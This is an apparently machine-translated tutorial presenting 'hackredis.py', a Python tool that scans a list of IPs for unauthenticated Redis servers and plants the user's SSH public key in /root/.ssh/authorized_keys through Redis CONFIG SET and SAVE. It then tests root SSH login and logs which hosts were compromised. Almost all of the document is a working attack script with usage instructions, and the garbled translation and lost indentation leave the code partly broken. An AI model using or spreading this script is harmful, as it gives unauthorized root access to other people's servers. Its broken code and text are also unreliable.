The python script implements Redis unauthorized volume collection

preface

This paper mainly introduces to you about redis unauthorized volume rights related content, to share out for your reference and learning, the following words do not say, to 1 look at the detailed introduction.

Install dependencies

 sudo easy_install redis

use

redis python hackredis.py         
usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT]

For Example:
-----------------------------------------------------------------------------
python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22

optional arguments:
 -h, --help  show this help message and exit
 -l IPLIST  the hosts of target
 -p PORT  the redis default port
 -r ID_RSAFILE the ssh id_rsa file you generate
 -sp SSH_PORT the ssh port

The ssh key is needed first:

ssh-keygen -t rsa
 cp ~/.ssh/id_rsa.pub /tmp/foo.txt

Then fill the ip list into ip.txt, and you can run. The successful ones will be output to success.txt, the ones that succeed but the ssh connection fails will be stored in unconnect.txt, and the ones that fail will be stored in fail.txt.

#!/usr/bin/python
#coding:utf-8
#############################################################
## @file hackredis.py         ##
## @date 2015-12-11          ##
## @author evi1cg           ##
#############################################################
import redis
import argparse
import textwrap
import sys
import pexpect
def getargs():
 parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/
 For Example:
 -----------------------------------------------------------------------------
 python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22'''))
 parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target')
 parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port')
 parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate')
 parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port')
 if(len(sys.argv[1:]) / 2 != 4):
 sys.argv.append('-h')
 return parser.parse_args()

def hackredis(host,port):
 ck = 0
 try:
 print "[*] Attacking ip:%s"%host
 r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)
 r.flushall
 r.set('crackit',foo)
 r.config_set('dir','/root/.ssh/')
 r.config_set('dbfilename','authorized_keys')
 r.save()
 ck =1
 except:
 print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host
 write(host,2)
 ck =0
 if ck == 1:
 check(host)
 else:
 pass

def check(host):
 print '/033[1;33;40m[*]/033[0m Check connecting... '
 try:
 ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port))
 i = ssh.expect('[#/$]',timeout=2)
 if i == 0:
  print "/033[1;34;40m[+]/033[0m Success !"
  write(host,1)
 else:
  pass
 except:
 print "/033[1;32;40m[-]/033[0m Failed to connect !"
 write(host,3)
def write(host,suc):
 if suc == 1:
 filesname = 'success.txt'
 elif suc ==2:
 filesname = 'fail.txt'
 elif suc ==3:
 filesname = 'unconnect.txt'
 else:
 pass
 file_object = open(filesname,'a')
 file_object.write(host+'/n')
 file_object.close()


def main():
 global foo,ssh_port
 paramsargs = getargs()
 try:
 hosts = open(paramsargs.iplist,"r")
 except(IOError):
 print "Error: Check your hostfile path/n"
 sys.exit(1) 
 port = paramsargs.port
 ssh_port = paramsargs.ssh_port
 try:
 foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n'
 except(IOError):
 print "Error: Check your wordlist path/n"
 sys.exit(1)  
 ips = [p.replace('/n','') for p in hosts]
 for ip in ips:
 hackredis(ip.strip(),port)


if __name__ == "__main__":
 main()

conclusion